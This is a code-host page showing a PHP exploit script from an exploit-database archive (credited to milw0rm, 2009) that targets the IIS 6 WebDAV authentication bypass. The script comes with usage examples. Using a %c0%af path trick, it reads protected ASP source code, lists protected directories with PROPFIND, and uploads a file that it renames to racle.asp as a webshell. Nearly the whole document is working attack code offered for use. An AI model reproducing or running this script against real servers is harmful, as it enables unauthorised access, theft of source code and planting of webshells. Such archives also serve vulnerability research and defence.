PageRenderTime 50ms CodeModel.GetById 23ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/windows/remote/8765.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 97 lines | 82 code | 12 blank | 3 comment | 11 complexity | 30113fab3e1c6b892af93b9b8bf6dbe9 MD5 | raw file
Possible License(s): GPL-2.0
  1. <?
  2. print_r('
  3. ******** IIS 6 WEBDAV Exploit.By racle@tian6.com && Securiteweb.org ********
  4. Usage: php '.$argv[0].' source/path/put host path
  5. Example: php '.$argv[0].' source www.tian6.com /blog/readme.asp
  6. Example2: php '.$argv[0].' path www.tian6.com /secret/
  7. Example3: php '.$argv[0].' put www.tian6.com /secret/ test.txt(evil code as test.txt)
  8. ****************************************************************
  9. ');
  10. //verification du debut
  11. if($argv[1]!="source"&&$argv[1]!="path"&&$argv[1]!="put"){echo "Choose a action,source or path or put.";die;}
  12. else {$action=$argv[1];}
  13. if(stristr($argv[2],"http://")){echo "No http:// in the host!";die;}
  14. else{$host=$argv[2];}
  15. if(stristr($argv[3],"/")==false){echo "Where is the / ?";die;}
  16. else{$path=$argv[3];}
  17. //sent
  18. function sent($sock)
  19. {
  20. global $host, $html;
  21. $ock=fsockopen(gethostbyname($host),'80');
  22. if (!$ock) {
  23. echo 'No response from '.$host; die;
  24. }
  25. fputs($ock,$sock);
  26. $html='';
  27. while (!feof($ock)) {
  28. $html.=fgets($ock);
  29. }
  30. fclose($ock);
  31. }
  32. if($action=="source"){
  33. $position=strrpos($path,"/");
  34. $path=substr_replace($path,"%c0%af/",$position,1);
  35. $sock="GET ".$path." HTTP/1.1\r\n";
  36. $sock.="Translate: f\r\n";
  37. $sock.="Host: ".$host."\r\n";
  38. $sock.="Connection:close\r\n\r\n";
  39. sent($sock);
  40. echo $html;
  41. die;
  42. }
  43. if($action=="path"){
  44. $position=strrpos($path,"/");
  45. $path=substr_replace($path,"%c0%af",$position,0);
  46. $sock="PROPFIND ".$path." HTTP/1.1\r\n";
  47. $sock.="Host: ".$host."\r\n";
  48. $sock.="Connection:close\r\n";
  49. $sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
  50. $sock.="Content-Length: 0\r\n\r\n";
  51. $sock.='<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>';
  52. sent($sock);
  53. $bur=explode("<a:href>",$html);
  54. foreach($bur as $line){$no=strpos($line,"<");$resultat.=substr($line,0,$no)."\n";}
  55. echo $resultat;
  56. die;
  57. }
  58. if($action=="put"){
  59. echo "Remember,keep urfile in type txt!\r\n\r\n";
  60. $fp = fopen("test.txt", 'r');
  61. if($fp!=false){
  62. while (false!==($char = fgets($fp))) {
  63. $fir1 .= $char; # fix: hoahongtim Team: hvaonline.net
  64. }
  65. fclose($fp);
  66. $position=strrpos($path,"/");
  67. $path=substr_replace($path,"%c0%af",$position,0);
  68. $sock="PUT ".$path."test.txt HTTP/1.1\r\n";
  69. $sock.="Host: ".$host."\r\n";
  70. $sock.='Content-Type: text/xml; charset="utf-8"'."\r\n";
  71. $sock.="Connection:close\r\n";
  72. $sock.="Content-Length: ".strlen($fir1)."\r\n\r\n";
  73. $sock.="".$fir1."\r\n";
  74. echo $sock; sent($sock);sleep(2);
  75. $sock="MOVE ".$path."test.txt HTTP/1.1\r\n";
  76. $sock.="Host: ".$host."\r\n";
  77. $sock.="Connection:close\r\n";
  78. $sock.="Destination: ".$path."racle.asp\n\n";
  79. sent($sock);
  80. echo "Be cool,man! Webshell is http://".$host.$path."racle.asp";
  81. die;}
  82. else{die;}
  83. }
  84. # milw0rm.com [2009-05-22]